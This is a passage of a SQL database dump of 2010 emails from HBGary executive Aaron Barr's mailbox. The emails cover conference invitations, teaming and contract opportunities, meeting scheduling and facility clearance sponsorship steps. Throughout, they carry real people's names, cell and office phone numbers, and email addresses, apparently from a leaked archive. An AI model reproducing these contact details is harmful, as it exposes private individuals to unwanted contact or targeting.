\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14617,'aaron_hbgary_com/14617.html'),(10828,'2010-08-24','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008329.M531809P14101Q5683.eml','\"Aaron Barr\" <aaron@hbgary.com>','SANS event in LV','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAny chance you will be at this event on 9/19?\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\nToby Richardson\r\n\r\nDirector, Western Region\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\nFidelis Security\r\n\r\nDallas, Texas\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n&nbsp;\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:&nbsp; Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12208,'aaron_hbgary_com/12208.html'),(10829,'2010-08-24','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008329.M763381P14101Q5684.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Staci Redmon, PMP, MBA and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 24, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Experienced FOIA Specialist needed for long-term effort\r\n           Add a comment  &raquo;\r\n\r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 75 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',9286,'aaron_hbgary_com/9286.html'),(10830,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008331.M844048P14101Q5685.eml','\"Zosh\" <mydocs@zosh.com>','facilities','\r\n',2678,'aaron_hbgary_com/2678.html'),(10831,'2010-08-24','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008332.M282412P14101Q5687.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','GovCon booth','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSpace is going to be tight this year at GovCon6.&nbsp; I wanted\r\nto sync up with you about what you&#8217;ll be showing this year.&nbsp; Are you and\r\nAaron still working on the Fingerprinting data integration with Palantir Object\r\nExplorer?&nbsp; If so, I think this would be a killer demo to show off.\r\n\r\n&nbsp;\r\n\r\nLet me know,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir Night Live\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13402,'aaron_hbgary_com/13402.html'),(10832,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008332.M493984P14101Q5688.eml','\"John Farrell\" <jfarrell@icscorp.com>','Re: Discuss new business opportunities?','John,I am sorry I lost the ball on this. &nbsp;:(Do you still want me to fill it out.AaronOn Aug 18, 2010, at 2:55 PM, John Farrell wrote:\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nAaron,Here’s a revised capabilities matrix\r\n(you can discard the earlier one I sent). I know there’s a small malware\r\nrequirement on this PWS, but I suspect the opportunity will grow over time. Let\r\nme know your thoughts. Thanks again.&nbsp;John&nbsp;\r\n\r\nJohn M. Farrell(301) 768-0186jfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Farrell \r\nSent: Thursday, August 12, 2010\r\n6:07 PM\r\nTo: Aaron Barr\r\nSubject: RE: Discuss new business\r\nopportunities?\r\n\r\n&nbsp;Aaron,&nbsp;Here’s the PWS and our template. I\r\nknow you are swamped, but appreciate your support. I think you will see how\r\nthis fits well with your offering/skills. Thanks!&nbsp;John&nbsp;\r\n\r\nJohn M. Farrell(301) 768-0186jfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010\r\n1:06 PM\r\nTo: John Farrell\r\nSubject: Re: Discuss new business\r\nopportunities?\r\n\r\n&nbsp;\r\n\r\nAlmost there\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\nOn Aug 12, 2010, at 1:08 PM, John Farrell &lt;jfarrell@icscorp.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI am here at Greenberry\'s. Give me a call if you need\r\nto reschedule. Thanks\r\nJohn\r\n3017680186\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\nSent: Mon Jul 26 15:00:36 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAaron,\r\nGreetings. Hope all is well. Give me a good time and number to reach you. Let\'s\r\ncatch up soon.\r\nJohn\r\n301.768.0186 cell\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 16:39:18 2010\r\nSubject: Discuss new business opportunities?\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going? When are you available to talk about joint business\r\nopportunities? I’m at ICS now and working to expand their business\r\ndevelopment efforts. We just won a contract at MSC and we’re chasing\r\nseveral security opportunities across DOD, Civilian and IC. Let me know your\r\nschedule and let’s get together soon.\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Capabilities Matrix.doc&gt;',10109,'aaron_hbgary_com/10109.html'),(10833,'2010-08-24','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297008332.M711349P14101Q5689.eml','aaron@hbgary.com','Re: Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\nRe: Discuss new business opportunities?\r\n\r\n\r\n\r\n\r\nAre you still interested? Yes we would like to see your quals. Thanks\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: John Farrell\r\nSent: Tue Aug 24 16:54:39 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nJohn,\r\n\r\nI am sorry I lost the ball on this.&nbsp; :(\r\n\r\nDo you still want me to fill it out.\r\n\r\nAaron\r\n\r\nOn Aug 18, 2010, at 2:55 PM, John Farrell wrote:\r\n\r\n&gt; Aaron,\r\n&gt; Here’s a revised capabilities matrix (you can discard the earlier one I sent). I know there’s a small malware requirement on this PWS, but I suspect the opportunity will grow over time. Let me know your thoughts. Thanks again.\r\n&gt;&nbsp;\r\n&gt; John\r\n&gt;&nbsp;\r\n&gt; John M. Farrell\r\n&gt; (301) 768-0186\r\n&gt; jfarrell@icscorp.com\r\n&gt; From: John Farrell\r\n&gt; Sent: Thursday, August 12, 2010 6:07 PM\r\n&gt; To: Aaron Barr\r\n&gt; Subject: RE: Discuss new business opportunities?\r\n&gt;&nbsp;\r\n&gt; Aaron,\r\n&gt;&nbsp;\r\n&gt; Here’s the PWS and our template. I know you are swamped, but appreciate your support. I think you will see how this fits well with your offering/skills. Thanks!\r\n&gt;&nbsp;\r\n&gt; John\r\n&gt;&nbsp;\r\n&gt; John M. Farrell\r\n&gt; (301) 768-0186\r\n&gt; jfarrell@icscorp.com\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thursday, August 12, 2010 1:06 PM\r\n&gt; To: John Farrell\r\n&gt; Subject: Re: Discuss new business opportunities?\r\n&gt;&nbsp;\r\n&gt; Almost there\r\n&gt;\r\n&gt; Sent from my iPhone\r\n&gt;\r\n&gt; On Aug 12, 2010, at 1:08 PM, John Farrell &lt;jfarrell@icscorp.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; I am here at Greenberry\'s. Give me a call if you need to reschedule. Thanks\r\n&gt;&gt; John\r\n&gt;&gt; 3017680186\r\n&gt;&gt;\r\n&gt;&gt; ----- Original Message -----\r\n&gt;&gt; From: John Farrell\r\n&gt;&gt; To: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\n&gt;&gt; Sent: Mon Jul 26 15:00:36 2010\r\n&gt;&gt; Subject: Re: Discuss new business opportunities?\r\n&gt;&gt;\r\n&gt;&gt; Aaron,\r\n&gt;&gt; Greetings. Hope all is well. Give me a good time and number to reach you. Let\'s catch up soon.\r\n&gt;&gt; John\r\n&gt;&gt; 301.768.0186 cell\r\n&gt;&gt;\r\n&gt;&gt; ----- Original Message -----\r\n&gt;&gt; From: John Farrell\r\n&gt;&gt; To: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\n&gt;&gt; Sent: Wed Jun 23 16:39:18 2010\r\n&gt;&gt; Subject: Discuss new business opportunities?\r\n&gt;&gt;\r\n&gt;&gt; Aaron,\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; How are things going? When are you available to talk about joint business opportunities? I’m at ICS now and working to expand their business development efforts. We just won a contract at MSC and we’re chasing several security opportunities across DOD, Civilian and IC. Let me know your schedule and let’s get together soon.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; John\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; John M. Farrell\r\n&gt;&gt;\r\n&gt;&gt; Director of Technical Services\r\n&gt;&gt;\r\n&gt;&gt; Integrated Communication Solutions, Inc.\r\n&gt;&gt;\r\n&gt;&gt; (301) 768-0186\r\n&gt;&gt;\r\n&gt;&gt; jfarrell@icscorp.com\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt; &lt;Capabilities Matrix.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n',12603,'aaron_hbgary_com/12603.html'),(10834,'2010-08-24','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008332.M73620P14101Q5686.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Tue, Aug 24, \'10 at 8:16 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    fcl_sponsorship_request_letter.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8059,'aaron_hbgary_com/8059.html'),(10835,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008332.M905132P14101Q5690.eml','\"Lawrence, Gabriel\" <glawrence@ucsd.edu>','Re: Ping','Lawrence,\r\n\r\nSounds good.  Earlier or later september?\r\n\r\nAaron\r\n\r\nOn Aug 17, 2010, at 12:27 PM, Lawrence, Gabriel wrote:\r\n\r\n> Aaron,\r\n> \r\n> It was good to meet you at Defcon. I\'d be interested in talking more about HB Gary and the UCSD system.\r\n> \r\n> Lets try and set something up in September. \r\n> \r\n> gabe\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 30, 2010 1:06 AM\r\n> To: Lawrence, Gabriel\r\n> Subject: Ping \r\n> \r\n> \r\n> \r\n> Sent from my iPhone\r\n\r\n',16349,'aaron_hbgary_com/16349.html'),(10836,'2010-08-24','\"Lawrence, Gabriel\" <glawrence@ucsd.edu>','/aaron@hbgary.com/new/1297008333.M106547P14101Q5691.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office: Ping','I will be out of the office from 8/23/2010 to 8/27/2010 and will be infrequently checking my email.\r\n\r\nIn the event of an emergency involving critical infrastructure please contact the ACT helpdesk for emergency support.\r\n\r\nSecurity related questions can be directed to security at ucsd.edu.\r\n\r\nThanks so much.\r\n\r\nGabe\r\n',8694,'aaron_hbgary_com/8694.html'),(10837,'2010-08-24','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297008333.M304672P14101Q5692.eml','aaron@hbgary.com','Re: Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\nRe: Discuss new business opportunities?\r\n\r\n\r\n\r\n\r\nLet me send you the new template.\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\nSent: Tue Aug 24 17:02:30 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAre you still interested? Yes we would like to see your quals. Thanks\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: John Farrell\r\nSent: Tue Aug 24 16:54:39 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nJohn,\r\n\r\nI am sorry I lost the ball on this.&nbsp; :(\r\n\r\nDo you still want me to fill it out.\r\n\r\nAaron\r\n\r\nOn Aug 18, 2010, at 2:55 PM, John Farrell wrote:\r\n\r\n&gt; Aaron,\r\n&gt; Here’s a revised capabilities matrix (you can discard the earlier one I sent). I know there’s a small malware requirement on this PWS, but I suspect the opportunity will grow over time. Let me know your thoughts. Thanks again.\r\n&gt;&nbsp;\r\n&gt; John\r\n&gt;&nbsp;\r\n&gt; John M. Farrell\r\n&gt; (301) 768-0186\r\n&gt; jfarrell@icscorp.com\r\n&gt; From: John Farrell\r\n&gt; Sent: Thursday, August 12, 2010 6:07 PM\r\n&gt; To: Aaron Barr\r\n&gt; Subject: RE: Discuss new business opportunities?\r\n&gt;&nbsp;\r\n&gt; Aaron,\r\n&gt;&nbsp;\r\n&gt; Here’s the PWS and our template. I know you are swamped, but appreciate your support. I think you will see how this fits well with your offering/skills. Thanks!\r\n&gt;&nbsp;\r\n&gt; John\r\n&gt;&nbsp;\r\n&gt; John M. Farrell\r\n&gt; (301) 768-0186\r\n&gt; jfarrell@icscorp.com\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thursday, August 12, 2010 1:06 PM\r\n&gt; To: John Farrell\r\n&gt; Subject: Re: Discuss new business opportunities?\r\n&gt;&nbsp;\r\n&gt; Almost there\r\n&gt;\r\n&gt; Sent from my iPhone\r\n&gt;\r\n&gt; On Aug 12, 2010, at 1:08 PM, John Farrell &lt;jfarrell@icscorp.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; I am here at Greenberry\'s. Give me a call if you need to reschedule. Thanks\r\n&gt;&gt; John\r\n&gt;&gt; 3017680186\r\n&gt;&gt;\r\n&gt;&gt; ----- Original Message -----\r\n&gt;&gt; From: John Farrell\r\n&gt;&gt; To: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\n&gt;&gt; Sent: Mon Jul 26 15:00:36 2010\r\n&gt;&gt; Subject: Re: Discuss new business opportunities?\r\n&gt;&gt;\r\n&gt;&gt; Aaron,\r\n&gt;&gt; Greetings. Hope all is well. Give me a good time and number to reach you. Let\'s catch up soon.\r\n&gt;&gt; John\r\n&gt;&gt; 301.768.0186 cell\r\n&gt;&gt;\r\n&gt;&gt; ----- Original Message -----\r\n&gt;&gt; From: John Farrell\r\n&gt;&gt; To: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\n&gt;&gt; Sent: Wed Jun 23 16:39:18 2010\r\n&gt;&gt; Subject: Discuss new business opportunities?\r\n&gt;&gt;\r\n&gt;&gt; Aaron,\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; How are things going? When are you available to talk about joint business opportunities? I’m at ICS now and working to expand their business development efforts. We just won a contract at MSC and we’re chasing several security opportunities across DOD, Civilian and IC. Let me know your schedule and let’s get together soon.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; John\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; John M. Farrell\r\n&gt;&gt;\r\n&gt;&gt; Director of Technical Services\r\n&gt;&gt;\r\n&gt;&gt; Integrated Communication Solutions, Inc.\r\n&gt;&gt;\r\n&gt;&gt; (301) 768-0186\r\n&gt;&gt;\r\n&gt;&gt; jfarrell@icscorp.com\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt; &lt;Capabilities Matrix.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n',8574,'aaron_hbgary_com/8574.html'),(10838,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008333.M497075P14101Q5693.eml','\"Richard Coleman\" <richard.coleman1@comcast.net>','Re: Invitation to Cyber Fajitas with Vice Admiral (Ret) Mike McConnell, The Monocle, Wednesday, September 8, 6:00-8:00pm','Hi Rich,I will be there.AaronOn Aug 16, 2010, at 2:30 AM, Richard Coleman wrote:Dear Cyber Security Colleague:&nbsp;&nbsp;Please join us for the next Cyber Fajitas &amp; Margaritas dinner on Wednesday, September 8, 6pm - 8pm.&nbsp;Our speaker will be Vice Admiral (Ret) Mike McConnell, Executive Vice President of Booz Allen Hamilton, former Director National Intelligence and former Director, National Security Agency.The&nbsp;event is being held at THE MONOCLE (not our traditional fajitas restaurant), 107 D Street, NE, Washington, DC 202-5456-4488 (on the Senate side, just opposite Russell Senate Office Building, nearest Metro stop is Union Station).&nbsp; This will be a no sponsor dinner and price is $50 for dinner and iced tea / lemonade.&nbsp;&nbsp;Cash bar.&nbsp;Please RSVP no later than Wednesday, September 1, seats are limited.Best regards,Rich ColemanChairmanCyber Fajitas &amp; MargaritasEmail:&nbsp;&nbsp;richcoleman1@gmail.comPhone:&nbsp; 703-855-3917&nbsp;&nbsp;',7774,'aaron_hbgary_com/7774.html'),(10839,'2010-08-24','\"richcoleman1\" <richcoleman1@gmail.com>','/aaron@hbgary.com/new/1297008333.M728266P14101Q5694.eml','\"Aaron Barr\" <aaron@hbgary.com>','all set','\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\nSee you then!\r\nRich\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 24, 2010 5:15 PMTo: Richard \r\nColemanSubject: Re: Invitation to Cyber Fajitas with Vice Admiral \r\n(Ret) Mike McConnell, The Monocle, Wednesday, September 8, \r\n6:00-8:00pm\r\nHi Rich,\r\n\r\nI will be there.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 16, 2010, at 2:30 AM, Richard Coleman wrote:\r\n\r\n  Dear Cyber Security \r\n  Colleague:&nbsp;\r\n  \r\n  Please join us for the next Cyber Fajitas &amp; Margaritas \r\n  dinner on Wednesday, September 8, 6pm - \r\n  8pm.\r\n  \r\n  Our speaker will be Vice Admiral (Ret) Mike McConnell, Executive \r\n  Vice President of Booz Allen Hamilton, former Director National Intelligence \r\n  and former Director, National Security \r\n  Agency.\r\n  The&nbsp;event is being held at THE \r\n  MONOCLE (not our traditional fajitas restaurant), 107 D Street, NE, \r\n  Washington, DC 202-5456-4488 (on the Senate side, just opposite Russell Senate \r\n  Office Building, nearest Metro stop is Union Station).&nbsp; This will be a no \r\n  sponsor dinner and price is $50 for dinner and iced tea / \r\n  lemonade.&nbsp;&nbsp;Cash bar.&nbsp;Please RSVP no later than \r\n  Wednesday, September 1, seats are limited.Best regards,Rich \r\n  ColemanChairman\r\n  Cyber Fajitas &amp; MargaritasEmail:&nbsp;&nbsp;richcoleman1@gmail.comPhone:&nbsp; \r\n  703-855-3917\r\n  \r\n  &nbsp;\r\n',5996,'aaron_hbgary_com/5996.html'),(10840,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008334.M254131P14101Q5696.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: General Catalyst Partners','DId u respond to this guy? &nbsp;This is the VC guy right?AaronBegin forwarded message:From: \"Upton, Ric\" &lt;rupton@generalcatalyst.com&gt;Date: August 10, 2010 3:23:57 PM EDTTo: \"penny@hbgary.com\" &lt;penny@hbgary.com&gt;, \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;Cc: \"Upton, Ric\" &lt;rupton@generalcatalyst.com&gt;, \"raupton1@comcast.net\" &lt;raupton1@comcast.net&gt;Subject: General Catalyst PartnersPenny and Aaron -it was good to talk with you a couple of weeks ago at Blackhat. I hope you had a great conference. As usual, it was an exciting and interesting mix of companies, clients and people.As I mentioned when I spoke with you, I\'d appreciate the opportunity to talk further with you about your insights and perspectives in the security area, and would be happy to share some of our plans at General Catalyst as well. I will be in DC on Tuesday and Wednesday of each of the coming three weeks (starting August 17,18) and would be happy to stop by to meet with one or both of you.We\'re excited about what we see in this market and HB Gary is certainly one of the outstanding thought leaders.Let me know if any of those dates might work for you. I look forward to getting together again.Regards ... Ric-- Dr. Richard A. UptonExecutive in ResidenceGeneral Catalyst Partners20 University RoadCambridge, MA &nbsp;02138Phone: (617) 234-6002Cell: (781) 439-5359Email: rupton@generalcatalyst.com',14073,'aaron_hbgary_com/14073.html'),(10841,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008334.M27944P14101Q5695.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: Introduction','Thanks Tim.Richard, would you like to try and get together?AaronOn Aug 24, 2010, at 2:11 PM, Tim Riesen wrote:\r\nRichard and Aaron - \r\n\r\nAllow me to virtually introduce the two of you (although I think you two may have met at Blackhat). &nbsp;You have similar research interests. &nbsp;\r\n\r\nAll the best - \r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',7152,'aaron_hbgary_com/7152.html'),(10842,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008334.M574029P14101Q5697.eml','\"Vicky Cox\" <vicky.cox@ugov.gov>','Re: Meeting with Dr. Porter','The 10th 1500-1600 works best for me if that is still available.\r\n\r\nThank you,\r\nAaron\r\n\r\nOn Aug 24, 2010, at 1:50 PM, Vicky Cox wrote:\r\n\r\n> Mr. Barr,\r\n> \r\n> My name is Vicky Cox and I support Dr. Porter, I\'d like to check your availability for the dates listed below.  These are the earliest dates available on Dr. Porter\'s calendar.  If neither date works for you, please provide me with your preferences such as morning or evening (before 5pm) and I will look at other dates and times.\r\n> \r\n> Sept 9  1000-1100\r\n>        1100-1200\r\n> Sept 10 1500-1600\r\n> \r\n> I look forward to hearing from you soon, you can reply to this e-mail or call me at (301) 851-7582.\r\n> \r\n> Thank you.\r\n> \r\n> r/\r\n> Vicky R. Cox\r\n> \r\n> ----- Original Message -----\r\n> From: \"Manfai Fong\" \r\n> To: \"Vicki Cox\" , \"Gary Fritter\" , \"Dianna Ayers\" \r\n> Cc: \"Aaron Barr\" \r\n> Sent: Tuesday, August 24, 2010 12:52:12 PM\r\n> Subject: Meeting with Dr. Porter\r\n> \r\n> Vicki,\r\n> \r\n> Please arrange a meeting between Dr. Porter and Dr. Baranoski with Mr. Barr from HBGary.  Block 45 minutes for the meeting.  Look for a date after the 31st of August; either that week or the following week.  The meeting will be held here in College Park.\r\n> \r\n> Fong\r\n> \r\n> \r\n> -- \r\n> M. Fong\r\n> Executive Officer, IARPA\r\n> (w) 301-851-7586\r\n\r\n',12607,'aaron_hbgary_com/12607.html'),(10843,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008334.M867012P14101Q5698.eml','\"Aaron Barr\" <adbarr@mac.com>','Fwd: Top Secret Security Facilities','\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: August 20, 2010 4:26:14 PM EDT\r\n> To: Aaron Barr \r\n> Subject: RE: Top Secret Security Facilities\r\n> \r\n> 1)      So based on this, you can’t initially be a sub on the contract.  No biggee.  By the time this contract clears protests you’ll have it.  Just confirmed with Sunny we can sponsor you. \r\n>  \r\n> 2)      Here’s the best link on getting it and how sponsorship works.  http://www.dss.mil/isp/fac_clear/fac_clear_check.html\r\n>  \r\n> 3)      First step is the sponsorship letter, http://www.dss.mil/isp/fac_clear/documents/fcl_sponsorship_request_letter.pdf  I’ve attached it.  Copy and paste it and fill out and return to me and we’ll get going with it.\r\n>  \r\n> -John\r\n>  \r\n>  \r\n>  \r\n> Checklist for New Facility Security Clearances\r\n> \r\n> DSS uses CAGE Codes to track basic facility information. If your company does not already have a CAGE Code for the facility requiring clearance, one may be obtained by submitting a DD Form 2051 to Commander, Defense Logistics Services Center, ATTN: DLSC-SBB, Federal Center, 74 North Washington, Battle Creek, MI 49017-3084. The DD Form 2051 can be found at:\r\n> http://www.dtic.mil/whs/directives/infomgt/forms/eforms/dd2051.pdf\r\n> \r\n> Section A of the form must be filled out and signed by the sponsoring government agency. Your sponsoring government agency may also request the CAGE Code for you by submitting a request on agency letterhead to the above address.\r\n> \r\n> Alternatively, you can register with the Central Contractor Registration (CCR) database to get a CAGE Code at http://www.ccr.gov/.\r\n> \r\n> Checklist for New Facility Security Clearances\r\n> ·         Sponsorship: The very first step to clearing a company is for them to be sponsored for a facility clearance by either a government contracting activity (GCA) or another cleared company.  The Facility Clearance Branch has a sample sponsorship letter that the sponsoring organization may use to submit the sponsorship.\r\n> ·         DSS Begins the Process: Once the sponsorship letter has been received and accepted, the Facility Clearance Branch will send the sponsored organization a package that contains detailed information for a company that is beginning the facility clearance process. The Facility Clearance Branch will also contact the local Industrial Security Field Office, which will assign an Industrial Security Representative to make contact with and begin processing the organization for a facility clearance.\r\n> ·         Commercial and Government Entity Code (CAGE Code): DSS uses CAGE Codes to track basic facility information. If your company does not already have a CAGE Code for the facility requiring clearance, one may be obtained by submitting a DD Form 2051 to Commander, Defense Logistics Services Center, ATTN: DLSC-SBB, Federal Center, 74 North Washington, Battle Creek, MI 49017-3084. The DD Form 2051 can be found at:\r\n> http://www.dtic.mil/whs/directives/infomgt/forms/eforms/dd2051.pdf \r\n> \r\n> Section A of the form must be filled out and signed by the sponsoring government agency. Your sponsoring government agency may also request the CAGE Code for you by submitting a request on agency letterhead to the above address. \r\n> \r\n> Alternatively, you can register with the Central Contractor Registration (CCR) database to get a CAGE Code at http://www.ccr.gov/.\r\n> ·         Prepare for DSS\' Visit: \r\n> o    NISPOM: Download the National Industrial Security Program Operating Manual (NISPOM).  Becoming familiar with the NISPOM also will take a great deal of time and will, likewise, require a determined effort.\r\n> ·         Prepare Organizational Documentation/Information:  